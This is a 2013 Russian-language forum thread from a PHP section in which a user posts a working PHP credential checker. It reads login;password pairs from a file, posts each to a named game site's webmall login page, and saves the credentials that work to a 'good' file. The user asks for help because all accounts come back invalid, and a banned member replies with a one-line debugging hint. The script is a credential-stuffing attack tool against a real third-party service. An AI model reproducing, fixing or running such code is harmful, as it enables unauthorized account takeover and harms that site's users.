[PHP] Брут login:pass

Discussion in 'PHP' started by Strelok7788, 22 Jul 2013.

  1. Strelok7788

    Strelok7788 New Member

    Joined:
    20 Jul 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Всем привет. У меня проблема с брутом.
    Вот код:
    PHP:
    <?php
    $handle 
    fopen("source.txt""r"); //вместо source.txt вставляем имя файла с аккаунтами
    while (!feof($handle)) //пока не кончился файл

        
    $buffer fgets($handle1024); // читаем построчно
        
    list($username$password) = explode(';'$buffer); // вместо : вставляем разделитель мыла и пароля в файле с акками
    $post="username=$username&password=$password";
     
    $ch curl_init(); 
    /*сформировали строку пост данных состоящую из пар поле=>значение разделенных амперсандом (при необходимости строку надо url-кодировать)*/
     
    curl_setopt($chCURLOPT_URL"http://shaiya2dream.net/webmall_ep7/index.php?validate=login"); //адрес на который шлем запрос (выдираем значение из action нашей формы)
     
    curl_setopt($chCURLOPT_HEADER1); //дальше мы все уже видели
     
    curl_setopt($chCURLOPT_USERAGENT$ua);
     
    curl_setopt($chCURLOPT_TIMEOUT10);
     
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
     
    curl_setopt($chCURLOPT_POST1); //говорим что у нас есть POST данные для сервера
     
    curl_setopt($chCURLOPT_POSTFIELDS$post); //указываем на наши POST данные
        
    $result curl_exec($ch);
        
    curl_close($ch); 
        if (
    strstr($result'Выход')) //вставляем сюда текст который присутствует на авторизованной странице но отсутствует на главной
        
    {
                    
    $h=fopen("D:\good.txt""a"); // good.txt - файл с валидными акками
             
    fwrite($h$username.";".$password);
             
    fclose($h);
               }
               else 
               {
                    
    $h=fopen("D:\bad.txt""a"); // bad.txt - файл с невалидными акками
             
    fwrite($h$username.";".$password);
             
    fclose($h);
               }
    }
    ?>
    Работает, но почему то все аккаунты считает неверными, хотя те которые подходят в списке есть. Кто знает в чём проблема помогите пожалуйста.
     
  2. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    надо сравнивать ответ сервера.